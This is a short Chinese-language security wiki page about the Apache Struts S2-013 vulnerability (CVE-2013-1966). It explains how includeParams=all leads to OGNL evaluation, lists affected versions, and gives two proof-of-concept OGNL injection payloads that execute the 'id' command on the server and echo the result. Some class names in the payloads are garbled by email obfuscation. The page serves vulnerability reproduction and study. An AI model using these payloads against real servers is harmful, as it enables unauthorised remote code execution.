menu arrow_back 湛蓝安全空间 |狂野湛蓝,暴躁每天 chevron_right ... chevron_right (CVE-2013-1966)s2-013 chevron_right (CVE-2013-1966)s2-013.md
  • home 首页
  • brightness_4 暗黑模式
  • cloud
    xLIYhHS7e34ez7Ma
    cloud
    湛蓝安全
    code
    Github
    (CVE-2013-1966)s2-013.md
    1.07 KB / 2021-07-15 19:48:26
        (CVE-2013-1966)s2-013
    =======================
    
    一、漏洞简介
    ------------
    
    struts 的标签中 s:a 和 s:url 都有一个 includeParams 属性none - URL中不包含任何参数(默认)get - 仅包含URL中的GET参数all - 在URL中包含GET和POST参数当includeParams=all的时候,会将本次请求的GET和POST参数都放在URL的GET参数上。明明可以urldecode一下就知道params是啥了,但struts给OGNL解析了,就造成了任意代码执行
    
    二、漏洞影响
    ------------
    
    Struts 2.0.0 - Struts 2.3.14
    
    三、复现过程
    ------------
    
    ### POC 就这2种poc
    
    第一个光有回显
    
        ${(#_memberAccess["allowStaticMethodAccess"]=true,#[email protected]@getRuntime().exec('id').getInputStream(),#b=new java.io.InputStreamReader(#a),#c=new java.io.BufferedReader(#b),#d=new char[50000],#c.read(#d),#[email protected]@getResponse().getWriter(),#out.println(#d),#out.close())}
        ${#_memberAccess["allowStaticMethodAccess"]=true,@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('id').getInputStream())}
    
    
    links
    file_download